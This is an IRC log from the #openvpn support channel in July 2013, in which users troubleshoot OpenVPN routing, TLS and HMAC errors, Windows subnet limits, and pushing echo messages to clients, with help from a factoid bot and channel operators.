14:08 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:20 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
14:24 -!- igubenko [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Ping timeout: 268 seconds]
14:27 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Remote host closed the connection]
14:29 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:35 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 240 seconds]
14:36 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
14:39 -!- JAVACODER [~JAVACODER@2.190.38.236] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:42 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 256 seconds]
14:44 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
14:44 -!- Su7 [~Su7@ks3323027.kimsufi.com] has joined #openvpn
14:45 < Su7> !welcome
14:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
14:45 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:45 < Su7> !route
14:45 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
14:45 <@vpnHelper> the server or client
14:45 < Su7> Hi guys
14:45 < Su7> I'm having an issue - suprprising isn't it ?
14:46 < Su7> well, actually my openvpn install does work
14:46 < Su7> but only on one client at a time
14:46 < Su7> although my two clients have different certificates
14:47 < Su7> when I connect my second client while the first is online, the first cannot access the internet while the second one actually can
14:47 < Su7> weird isn't it ?
14:47 < Su7> an idea anyone ? thanks !
14:47 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
14:52 < rob0> !redirect
14:52 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:52 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
14:53 < rob0> flowchart might help? Sounds like maybe a NAT misconfiguration.
14:53 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 268 seconds]
14:54 < Su7> I'll give a try right now
14:56 -!- Su7 [~Su7@ks3323027.kimsufi.com] has quit [Read error: Connection reset by peer]
15:02 -!- averagecase [~anon@dslb-178-006-160-240.pools.arcor-ip.net] has joined #openvpn
15:06 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Read error: Connection reset by peer]
15:07 -!- MariusIT [~MariusIT@178.138.34.186] has joined #openvpn
15:10 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
15:23 -!- averagecase [~anon@dslb-178-006-160-240.pools.arcor-ip.net] has quit [Quit: Verlassend]
15:24 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Ping timeout: 260 seconds]
15:28 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
15:28 -!- MariusIT [~MariusIT@178.138.34.186] has quit [Ping timeout: 264 seconds]
15:31 -!- spielberg [~spielberg@68-233-224-169.static.hvvc.us] has quit [Ping timeout: 268 seconds]
15:36 -!- Muffins [~nanderson@69.146.233.50] has quit [Quit: Leaving]
15:43 -!- spielberg_ [~spielberg@199-193-113-145.static.hvvc.us] has joined #openvpn
15:43 -!- spielberg_ [~spielberg@199-193-113-145.static.hvvc.us] has left #openvpn []
15:46 -!- p3rror [~p3rror@41.249.86.31] has joined #openvpn
15:52 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
15:53 -!- Guest3034 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
15:54 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
16:02 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:10 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 276 seconds]
16:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds]
16:40 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:53 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
16:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
16:55 -!- mode/#openvpn [+o plaisthos] by ChanServ
16:57 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:11 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:18 -!- Varazir [~mircwars@c-94-255-129-9.cust.bredband2.com] has quit [Ping timeout: 264 seconds]
17:20 -!- Denial [Denial@90.202.5.141] has quit []
17:30 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 268 seconds]
17:35 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:50 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:00 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving.]
18:04 -!- cek [~cek@95.140.92.62] has quit [Read error: Operation timed out]
18:06 -!- emid [~emid@192.241.138.149] has quit [Quit: quit]
18:16 -!- spiffytech [~spiffytec@lug.ncsu.edu] has left #openvpn []
18:21 -!- emid [~emid@192.241.162.156] has joined #openvpn
18:21 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:34 -!- p3rror [~p3rror@41.249.86.31] has quit [Ping timeout: 264 seconds]
18:39 -!- DocD [~nicolas@190.19.0.180] has joined #openvpn
18:41 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 256 seconds]
18:45 -!- krantz [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit []
18:48 -!- master_o1_master [~master_of@p4FF249F4.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- master_of_master [~master_of@p4FF249D5.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
19:01 -!- W_A| [~w_a@213.128.183.116] has joined #openvpn
19:03 < W_A|> i am getting a error in openvpn log "openvpn[92413]: TLS Error: cannot locate HMAC in incoming packet from [AF_INET]" any idea what is wrong ? tunel is working fine ut see that error pops up from time to time
19:12 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 248 seconds]
20:05 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
20:05 < michaelhart> Not sure if my last message made it. Does anyone know what these messages actually mean? "Authenticate/Decrypt packet error: bad packet ID (may be a replay)"
20:06 < michaelhart> Google indicates it may be a time sync issue, but all my systems are pretty much dead on synced.
20:06 < michaelhart> VPN tunnels that have been up for months all suddenly died with these errors. I'm at a loss to explain it.
20:11 -!- raidz is now known as raidz_away
20:11 -!- ex0a [~high@unaffiliated/ex0a] has quit [Quit: peace]
20:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:27 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
20:51 <@ecrist> michaelhart: it might be a replay attack...
21:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:17 -!- trumee [~parul@93.186.156.221] has quit [Ping timeout: 248 seconds]
21:19 -!- trumee [~parul@93.186.148.70] has joined #openvpn
21:27 -!- DragonDon [~DragonDon@unaffiliated/dragondon] has quit [Remote host closed the connection]
21:35 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
21:41 -!- tharkun [~0@187.188.94.182] has joined #openvpn
21:44 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-izcufwvlufeommar] has joined #openvpn
21:45 -!- [1]Oris [~Oris@c-65-96-189-68.hsd1.ma.comcast.net] has joined #openvpn
21:47 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
21:47 -!- Linmu_ [~Linmu@203.70.194.104] has quit [Ping timeout: 245 seconds]
21:48 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
21:50 < [1]Oris> I'm trying to connect to my Ubuntu server from a Win7 client using openvpnGUI. It fails to connect, no log, just the popup "Connecting to xxx has failed."  If anyone could give me some direction to track down my problem, that would be great.
21:50 -!- GabrieleV [~GabrieleV@95.230.79.190] has joined #openvpn
21:51 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
21:52 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
21:57 -!- tharkun [~0@187.188.94.182] has joined #openvpn
22:08 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-izcufwvlufeommar] has quit [Ping timeout: 245 seconds]
22:09 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fggutbvlbbmreoew] has joined #openvpn
22:22 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has joined #openvpn
22:27 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
22:27 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
22:33 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
22:33 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
23:00 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fggutbvlbbmreoew] has quit [Ping timeout: 256 seconds]
23:01 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gnjqlkovgdfhaqrc] has joined #openvpn
23:24 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
23:30 -!- tharkun [~0@187.188.94.182] has joined #openvpn
23:37 -!- Oris [~Oris@outlaw.mykromedia.org] has joined #openvpn
23:38 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
23:39 -!- [1]Oris [~Oris@c-65-96-189-68.hsd1.ma.comcast.net] has quit [Ping timeout: 246 seconds]
23:41 -!- Oris [~Oris@outlaw.mykromedia.org] has quit [Client Quit]
--- Day changed Wed Jul 31 2013
00:06 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:11 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:16 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gnjqlkovgdfhaqrc] has quit [Ping timeout: 260 seconds]
00:18 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xjnrlsihypnpyieq] has joined #openvpn
00:22 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
00:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
00:24 -!- mode/#openvpn [+o krzee] by ChanServ
00:24 <@krzee> !logfile
00:24 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
00:28 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:42 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:42 -!- tharkun [~0@187.188.94.182] has joined #openvpn
00:48 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
00:49 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
00:51 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:54 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:04 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Read error: Connection reset by peer]
01:07 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
01:16 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 260 seconds]
01:17 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
01:19 -!- JAVACODER [~JAVACODER@2.190.41.43] has joined #openvpn
01:19 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:19 -!- tharkun [~0@187.188.94.182] has joined #openvpn
01:21 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 246 seconds]
01:28 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
01:30 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
01:36 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:04 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:04 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xjnrlsihypnpyieq] has quit [Ping timeout: 246 seconds]
02:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:13 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hhkrxwqafzbhifvj] has joined #openvpn
02:13 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 260 seconds]
02:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:19 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hhkrxwqafzbhifvj] has quit [Ping timeout: 260 seconds]
02:19 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:20 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vuoqbfqrykdifogd] has joined #openvpn
02:23 -!- DocD [~nicolas@190.19.0.180] has quit [Quit: Leaving]
02:25 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:44 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
02:44 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Client Quit]
02:45 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
02:46 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:47 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:48 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:50 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
02:52 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
02:55 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:56 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:57 -!- xTz is now known as Guest45249
03:07 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
03:12 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:14 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
03:17 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
03:21 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
03:23 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:47 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:52 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:58 -!- Denial [Denial@90.202.5.141] has joined #openvpn
03:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
04:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
04:02 -!- mode/#openvpn [+o plaisthos] by ChanServ
04:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:29 -!- cek [~cek@95.140.92.62] has joined #openvpn
04:39 -!- cek [~cek@95.140.92.62] has quit [Quit: жопа диридай диридиридай]
04:40 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
04:59 -!- novaflash is now known as novaflash_away
05:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vuoqbfqrykdifogd] has quit [Ping timeout: 256 seconds]
05:22 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jqhylffkocotfuoj] has joined #openvpn
05:26 -!- novaflash_away is now known as novaflash
05:28 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:29 -!- dr_casper_wirele [~ircap@209-203-71-82.static.twtelecom.net] has quit [Read error: Operation timed out]
05:30 -!- abrkn [~abkn@195.159.164.228] has joined #openvpn
05:33 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:35 -!- abrkn\ [~abkn@195.159.164.228] has quit [Ping timeout: 264 seconds]
05:37 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:43 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:49 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
05:51 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
05:54 -!- JAVACODER [~JAVACODER@2.190.41.43] has quit [Read error: Connection reset by peer]
05:54 -!- tharkun [~0@187.188.94.182] has joined #openvpn
05:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
05:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
05:59 -!- mode/#openvpn [+o mattock] by ChanServ
06:02 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
06:04 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:04 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:06 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:09 -!- JAVACODER [~JAVACODER@2.190.41.43] has joined #openvpn
06:11 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:14 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:20 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:23 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
06:25 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-pecdmgnokoevswns] has quit [Read error: Connection reset by peer]
06:39 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
06:39 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:39 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:45 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:48 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 245 seconds]
06:51 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:56 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
06:57 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:59 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:02 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:06 < W_A|> Getting this in my log TLS Error: cannot locate HMAC in incoming packet from [AF_INET and it is coming eaven when i have turned of the tun. any idea ?
07:13 -!- Willis_ [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
07:16 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:20 -!- sigius [~sigius@93-125-185-45.dsl.alice.nl] has joined #openvpn
07:20 -!- sigius [~sigius@93-125-185-45.dsl.alice.nl] has quit [Remote host closed the connection]
07:20 -!- sigius [~sigius@93-125-185-45.dsl.alice.nl] has joined #openvpn
07:22 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:26 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:27 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:29 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
07:30 < vaillor> There is a problem in your selection of --ifconfig endpoints [local=10.0.0.10, remote=255.255.255.0].  The local and remote VPN endpoints must exist within the same 255.255.255.252 subnet.  This is a limitation of --dev tun when used with the TAP-WIN32 driver.  Try 'openvpn --show-valid-subnets' option for more info.
07:31 < vaillor> how do you think i can solve this problem?
07:32 < BtbN> sounds strange, i'm using a whole /24 subnet and it works fine on windows.
07:32 < rob0> !/30
07:32 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:32 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
07:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
07:38 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:40 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:41 -!- dazo_afk is now known as dazo
07:43 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:45 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:45 -!- vaillor [~Guest6529@adsl-ull-181-65.45-151.net24.it] has quit []
07:49 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:51 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:55 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
08:00 -!- tharkun [~0@187.188.94.182] has joined #openvpn
08:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:05 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
08:11 -!- tharkun [~0@187.188.94.182] has joined #openvpn
08:11 -!- vidarne [~w_a@213.128.183.116] has joined #openvpn
08:12 -!- W_A| [~w_a@213.128.183.116] has quit [Ping timeout: 264 seconds]
08:13 -!- elfixit [~fix@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:13 < elfixit> !welcome
08:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:14 < elfixit> !goal
08:14 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:16 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
08:16 -!- tharkun [~0@187.188.94.182] has joined #openvpn
08:18 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
08:23 -!- tharkun [~0@187.188.94.182] has quit [K-Lined]
08:55 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 245 seconds]
09:01 -!- HyperGlide [~HyperGlid@110.184.81.47] has joined #openvpn
09:03 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
09:10 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
09:19 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:28 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
09:29 -!- JAVACODER [~JAVACODER@2.190.41.43] has quit [Read error: Connection reset by peer]
09:37 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 245 seconds]
09:39 -!- hednod [exile@wintermute.probsd.net] has joined #openvpn
09:39 < hednod> if CPU is my bottleneck, shouldn't I see openvpn taking up 100% of my cpu?
09:40 -!- arnotixe_ [~arno@ti0013a380-dhcp5562.bb.online.no] has joined #openvpn
09:42 < nohitall> hednod: how would u know it is?
09:42 < nohitall> hednod: what makes u think that
09:43 < hednod> nohitall: I have a local LAN vpn I use on my wireless router, and the performance is terrible. I can't even stream a mp3 over it without buffering repeatedly. I dont have encryption enabled and the cpu itlization on the router is almost nothing.
09:44 < arnotixe_> hi all I've setup an openvpn server and would like to know how to set the "welcome message". I've seen (and tried) http://openvpn-web-gui.sourceforge.net/howto.html  to try and push "echo welcome" messages, but no luck.
09:44 <@vpnHelper> Title: HOWTO Install OpenVPN Server on FreeBSD 5.3 with OpenVPN Web GUI (at openvpn-web-gui.sourceforge.net)
09:44 < nohitall> hednod: hm sry dont know :/ pros here may
09:45 <@krzee> heh
09:45 <@ecrist> hednod: sounds like a network issue
09:45 < arnotixe_> (e.g. in cisco vpn I get a message pushed from the server upon connecting, saying 'welcome to this and that vpn', and that's displayed in a bubble on my linux mint desktop (networkmanager))
09:46 <@ecrist> arnotixe_: no
09:46 < arnotixe_> hednod: Are you running the vpn on tcp?
09:46 < kisom> hednod: your traffic is probably routed over the internet and not just locally.
09:46 < hednod> arnotixe_: I've tried it both tcp and udp.
09:46 < arnotixe_> ecrist: no to... ?
09:46 < arnotixe_> not possible?
09:47 < hednod> kisom: no, its not.   let me explain.  I have a /29 block of public ips and this desktop uses one of those public ips.  the box does not have slot space for another network card so I VPN it into my LAN through the router it shares the public network with (via the same switch)
09:47 < hednod> kisom: it literally travels from one of my public ips to the other public ip across that switch, into the router (via openvpn) and into the lan.
09:48 < hednod> kisom: I'm not expecting powerful lan speeds here, but I can't even play a mp3 without stuttering and buffering, which isn't right.
09:48 < kisom> hednod: ok, im on my ipad right now so its somewhat hard for me to debug from here :)
09:48 <@ecrist> arnotixe_: to your desire to send a message.  OpenVPN does not have a way to do that
09:49 <@ecrist> it could be done, but it's not part of the source now.
09:49 < arnotixe_> ecrist: ok so we cannot push things like shown on (vpnc syslog output:) http://pastebin.com/LkUsBApj
09:49 < hednod> kisom: thats alright, I have to walk away in 10 minutes anyways.  I'll try to come back later in the day to find some help debugging it.
09:49 <@ecrist> arnotixe_: correct
09:50 <@krzee> see --echo and --push
09:50 < arnotixe_> ecrist: seems networkmanager somehow guesses that the line(s) surrounded by --------- are the crucial messages...
09:50 <@ecrist> well, networkmanager is not openvpn
09:50 <@ecrist> I have no idea what network manager can do
09:51 < arnotixe_> ecrist: no, not directly relevant. But if I can make openvpn push something like it I could debug.
09:51 <@ecrist> as krzee said, see --ech and --push
09:51 <@ecrist> --echo
09:52 < arnotixe_> hmm are those params to the openvpn server instance, or statements in the config file?
09:52 -!- monk [~aknm@unaffiliated/aknm] has quit [Read error: Connection reset by peer]
09:52 <@ecrist> they are openvpn config args on the server side
09:52 <@ecrist> !man
09:52 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
09:53 < hednod> push is used to send commands, echo is to echo text.
09:53 < hednod> push is probably used to send routing commands and the like to the client as post-steps
09:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Max SendQ exceeded]
09:54 < arnotixe_> hm ok http://linux.die.net/man/8/openvpn says that "the client must specify pull on its side" but can't actually see it documented... I'll poke around
09:54 <@vpnHelper> Title: openvpn(8): secure IP tunnel daemon - Linux man page (at linux.die.net)
09:54 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
09:54 -!- mode/#openvpn [+o krzee] by ChanServ
09:54 <@ecrist> arnotixe_: if the client config has a line that just says "client" then it's specifying pull
09:55 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:57 < arnotixe_> aha
10:07 < arnotixe_> hmm if I specify just 'echo "something"' that is actually output in the server log file. That's a start...
10:08 < arnotixe_> ok 'push "echo testing" '  results in localhost nm-openvpn[2918]: ECHO-PULL:testing
10:08 < arnotixe_> which is cool
10:09 <@dazo> arnotixe_: get a copy of JJK's "OpenVPN 2 Cookbook" ... he describes how to do that in a windows world
10:09 <@dazo> !book
10:09 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
10:09 <@dazo> (adopting that to non-Windows shouldn't be that hard if needed)
10:09 < arnotixe_> interesting :D
10:11 <@dazo> Chapter 6, "Windows login greeter"
